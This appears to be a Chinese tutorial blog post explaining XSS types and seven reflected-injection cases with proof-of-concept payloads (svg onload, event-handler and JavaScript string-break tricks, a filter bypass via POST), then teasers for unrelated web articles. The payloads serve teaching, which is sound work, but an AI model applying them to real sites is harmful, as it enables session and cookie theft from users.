web开发,关于XSS的介绍和案例分析

时间: 2017-12-02阅读: 832标签: web

XSS简介

XSS攻击的全称Cross Site Scripting(跨站脚本攻击),为了避免和样式表CSS混淆而简写为XSS。XSS攻击使用web应用,服务器,或者所依赖的插件系统的已知漏洞进行的,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,让用户使用浏览器进行访问时就会受到攻击。


那么受到攻击有什么危害呢?对用户来讲,比较常见的就是受害者网站的cookie、session等敏感数据遭到泄露(这些数据一般保存着用户登陆状态等信息,攻击者拿到这些就可以登陆用户的账号随心所欲的操作);而对于网站来讲,也许会影响用户体验,包括而不限于可能因此遭到DOS攻击等等。危害性不容小觑。


很多网站都爆发过XSS漏洞,其中不乏互联网巨头,比如Twitter,Facebook,YouTube等等,虽然在互联网安全中已经受到了相当的重视,但是大量的XSS漏洞仍在前赴后继。或是缺少经验,或是用户数据并不十分敏感,亦或是互联网风暴席卷而来时疯了一样的迭代速度所限制的安全投入。


XSS的类型

 存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。


7种主要的XSS案例

1. URL 反射 

当源代码中存在URL反射时,我们可以添加自己的XSS向量和载荷。对于PHP的页面,可以通过使用斜杠”/”在页面的名称后添加任何内容。 

http://brutelogic.com.br/xss.php/”><svg onload=alert(1)>

需要用开头的(“>)标签来破坏当前标签的闭合状态,为将插入的新标签(触发XSS的代码标签)创造可能的闭合条件。  

<!—URL Reflection -->
<form action=”/xss.php/”><svg onload=alert(1)>” method=”POST”>
<br>

虽然不同语言的差异造成的不同的触发原因(反射可能出现在路径或URL参数中)。相对于PHP而言,罪魁祸首通常是在提交表单的动作中使用到了全局变量。 

$_SERVER[“PHP_SELF”]


2.简单的HTMLi(HTML注入)

最直接的一种方式,输入就是反射,输入部分显示在已存在的标签之前、后或标签之间。不需要绕过或破坏任何闭合,任何简单的像<tag handler=jsCode>形式的XSS向量都可以实现。

http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>
<h1>XSS Test</h1>
<!-- Simple HTMLi -->
Hello, <svg onload=alert(1)>!
<br>


3.Inline HTMLi

和上一个相比这个实例也相对简单,但是需要 "> 破坏前面的闭合标签,重新添加并创建新的标签闭合。  

<!-- Inline HTMLi (Double Quotes) -->
<input type="text" name="b1" value=""><svg onload=alert(1)>">
<br>
<br>


4.Inline HTMLi: No Tag Breaking

 当在HTML属性中输入并且对大于号(>)进行过滤时,像之前的实例一样破坏前面的闭合标签达到反射是不可能了。

<!-- Inline HTMLi - No Tag Breaking (Double Quotes) -->
<input type="text" name="b3" value="">><svg onload=alert(1)>">
<br>
<br>

所以这里使用一个适合我们在此处注入的,并可在标签内触发的事件处理程序,比如:  

http://brutelogic.com.br/xss.php?b3=” onmouseover=alert(1)//

这个方式闭合了标签中value值的引号,并且给onmouseover插入了事件。alert(1)之后的双引号通过双斜杠注释掉,当受害者的鼠标移动到输入框时触发js弹窗。 


5.HTMLi in Js(Javascript) Block

输入有时候会传入到javascript代码块中,这些输入通常是代码中的一些变量的值。但因为HTML标签在浏览器的解析中有优先级,所以我们可以通过js标签闭合原有的js代码块并插入一个新的标签插入传入你需要的js代码。 

http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>
// HTMLi in Js Block (Single Quotes)
var myVar1 = '</script><svg onload=alert(1)>';


6.Simple Js Injection

如果脚本的标签被某种方式过滤掉了,之前讨论的姿势也随之失效。 

// Simple Js Injection (Single Quotes)
var myVar3 = '><svg onload=alert(1)>';

这里的绕过方法可以根据语法注入javascript代码。一个已知的方法是用我们想要执行的代码”连接”到可触发漏洞的变量。因为我们不能让任何单引号引起报错,所以先构造闭合,然后使用”-”连接来获得一个有效的javascript代码。 

http://brutelogic.com.br/xss.php?c3=’-alert(1)-‘
// Simple Js Injection (Single Quotes)
var myVar3 = ''-alert(1)-'';


 7.Escaped Js Injection

在之前的实例中,如果引号(用于置空闭合变量的值)被反斜杠(\)转义,注入将不会生效(因为无效的语法)。 

// Escaped Js Injection (Single Quotes)
var myVar5 = '\'-alert(1)-\'';

为此,我们可以通过骚姿势——转义。我们可以插入一个前反斜杠,这样后面的引号将会完成闭合,从而触发传入的js代码。在插入我们想要执行的js代码后,需要对其余部分进行注释,因为剩余的部分已经无需执行或重复执行。  

http://brutelogic.com.br/xss.php?c5=\'-alert(1)//
// Escaped Js Injection (Single Quotes)
var myVar5 = '\\'-alert(1)-//';


扩展一点点 

直接通过URL通过GET请求触发XSS返回404,通过参数直接访问可以显示正常界面,那么应该是被过滤了。先自己用xsstrike跑了一下,提示是存在XSS的,但是打开浏览器的反应都是返回了空白页面,说明是多次的误报(xsstrike不是基于webkit,因此容易产生误报)。

而后查看源码,在页面可以看到前端通过正则过滤了特殊字符,重定向到404页面。过滤的很全乎,那看起来好像是没戏了,遂去请教大神,所以姿势就涨起来了。这里的原因是因为后端PHP在处理请求的时候使用的是$_REQUEST方法,因此可接受POST和GET请求。So,成功弹窗。 

 

案例来源:https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/

 

Web 研发模式的演变

Web 1.0 时代,非常适合创业型小项目,不分前后端,经常 3-5 人搞定所有开发。页面由 JSP、PHP 等工程师在服务端生成,浏览器负责展现。这种模式的好处是:简单明快

Web发展简史

Web架构: 用超文本技术(HTML)实现信息与信息的连接HTML:HyperText Mark-up Language,即超文本标记语言或超文本链接标示语言, 用统一资源定位技术(URI)实现全球信息的精确定位

Web标准

Web标准不是某一个标准,而是由W3C和其他标准化组织制定的一系列标准的集合。主要包括结构(Structure)、表现(Presentation)和行为(Behavior)三个方面。

web开发-前后端分离原理

前后端分离已成为互联网项目开发的业界标准使用方式,通过Nginx+Tomcat的方式(也可以中间加一个Node.js)有效的进行解耦,并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务(多种客户端,例如:浏览器,车载终端,安卓,IOS等等)打下坚实的基础

web负载均衡,几种常见负载均衡比较

当一台服务器无法支持大量用户访问时,将用户分摊到两个或多个服务器上的方法叫负载均衡。负载均衡可以将工作任务分摊到多个处理单元,从而提高并发处理能力。根据实现的原理不同,常见的web负载均衡技术包括:DNS轮询、IP负载均衡和CDN等

web安全漏洞种类以及对应方案

SQL注入、XSS跨站脚本攻击、CSRF跨站请求伪造、越权访问、任意文件上传、任意文件读取、任意文件包含、任意代码执行、撞库攻击、用户名/口令爆破、注册模块设计缺陷、短信接口设计缺陷

web页面录屏实现

如果你的应用有接入到web apm系统中,那么你可能就知道apm系统能帮你捕获到页面发生的未捕获错误,给出错误栈,帮助你定位到BUG。但是,有些时候,当你不知道用户的具体操作时,是没有办法重现这个错误的,这时候,如果有操作录屏,你就可以清楚地了解到用户的操作路径

选择学习Web前端开发的理由

在互联网的影响下,移动互联网产业的发展也突飞猛进,越来越多的企业开始攻击移动互联网的大蛋糕。根据可靠的数据分析,中国对开发商的需求高达200万人,而且数据仍在改善。

关于Web应用开发流程的总结

假设最简单的情况,一个开发人员,开发所有的代码,一个测试人员。一个测试的服务器,一个生产的服务器。开发人员需要为公司开发一个项目,开发人员首先分析产品经理的需求,建立相应的模型,然后进行如下步骤:

站在Web3.0 理解IPFS是什么

文本尝试站在未来Web3.0的高度来看看IPFS究竟用来解决什么问题。IPFS是一项非常激动人心的技术,尽管它仍在发展的早期(区块链也是),还有很多问题需要我们一起解决,如NAT穿透问题,浏览器支持问题,内容存储激励问题,存储数据安全与隐私保护问题。

fly63.com版权所有,内容以共享、参考、研究为目的,不存在任何商业目的。其版权属原作者所有,如有侵权,请与小编联系!情况属实本人将予以删除!

广告赞助文章投稿关于web前端网站点搜索站长推荐网站地图站长QQ:522607023

小程序专栏: 土味情话心理测试脑筋急转弯幽默笑话段子句子语录成语大全